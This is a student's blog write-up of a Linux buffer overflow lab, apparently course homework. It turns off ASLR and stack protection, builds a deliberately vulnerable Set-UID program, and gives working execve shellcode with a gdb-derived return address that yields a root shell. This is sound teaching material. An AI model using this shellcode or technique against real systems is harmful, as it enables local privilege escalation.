2020-2021-1 20209302毕慧敏《Linux内核原理与分析》第十一周作业

缓冲区溢出漏洞实验

作业信息

这个作业属于哪个课程 <2020-2021-1Linux内核原理与分析>
这个作业要求在哪里 <[2020-2021-1Linux内核原理与分析第十一周作业(https://www.cnblogs.com/rocedu/p/11511045.html#第十一周)>
这个作业的目标 <缓冲区溢出漏洞实验通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的>
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实验过程

1.实验准备

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

  sudo apt-get update
  sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
  sudo apt-get install -y python3.6-gdbm gdb

2.实验过程

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

  sudo sysctl -w kernel.randomize_va_space=0


此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

  sudo su
  cd /bin
  rm sh
  ln -s zsh sh
  exit


输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash 使用bash:

在 /tmp 目录下新建一个 stack.c 文件:

  cd /tmp
  vim stack.c
  /* stack.c */

  /* This program has a buffer overflow vulnerability. */
  /* Our task is to exploit this vulnerability */
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>

  int bof(char *str)
  {
      char buffer[12];

      /* The following statement has a buffer overflow problem */ 
strcpy(buffer, str);

return 1;
  }

  int main(int argc, char **argv)
  {
      char str[517];
      FILE *badfile;

      badfile = fopen("badfile", "r");
      fread(str, sizeof(char), 517, badfile);
      bof(str);

      printf("Returned Properly\n");
      return 1;
  }

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置 SET-UID。命令如下:

  sudo su
  gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
  chmod u+s stack
  exit


GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
-g 参数是为了使编译后得到的可执行文档能用 gdb 调试。

我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。
在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:
/* exploit.c /
/
A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

  char shellcode[] =
      "\x31\xc0" //xorl %eax,%eax
      "\x50"     //pushl %eax
      "\x68""//sh" //pushl $0x68732f2f
      "\x68""/bin"     //pushl $0x6e69622f
      "\x89\xe3" //movl %esp,%ebx
      "\x50"     //pushl %eax
      "\x53"     //pushl %ebx
      "\x89\xe1" //movl %esp,%ecx
      "\x99"     //cdq
      "\xb0\x0b" //movb $0x0b,%al
      "\xcd\x80" //int $0x80
      ;

  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;

      /* Initialize buffer with 0x90 (NOP instruction) */
      memset(&buffer, 0x90, 517);

      /* You need to fill the buffer with appropriate contents here */
      strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
      strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100

      /* Save the contents to the file "badfile" */
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }

上面的代码,\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:

  gdb stack
  disass main


esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。

  b *0x080484ee
  r
  i r $esp


最后获得的这个 0xffffcfb0 就是 str 的地址。
根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014
现在修改 exploit.c 文件,将 \x??\x??\x??\x?? 修改为计算的结果 \x14\xd0\xff\xff,注意顺序是反的。
然后,编译 exploit.c 程序,先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

  gcc -m32 -o exploit exploit.c
  ./exploit
  ./stack

可见,通过攻击,获得了root 权限!

3.实验练习

posted @ 2020-12-17 11:38  20209302毕慧敏  阅读(113)  评论(0编辑  收藏  举报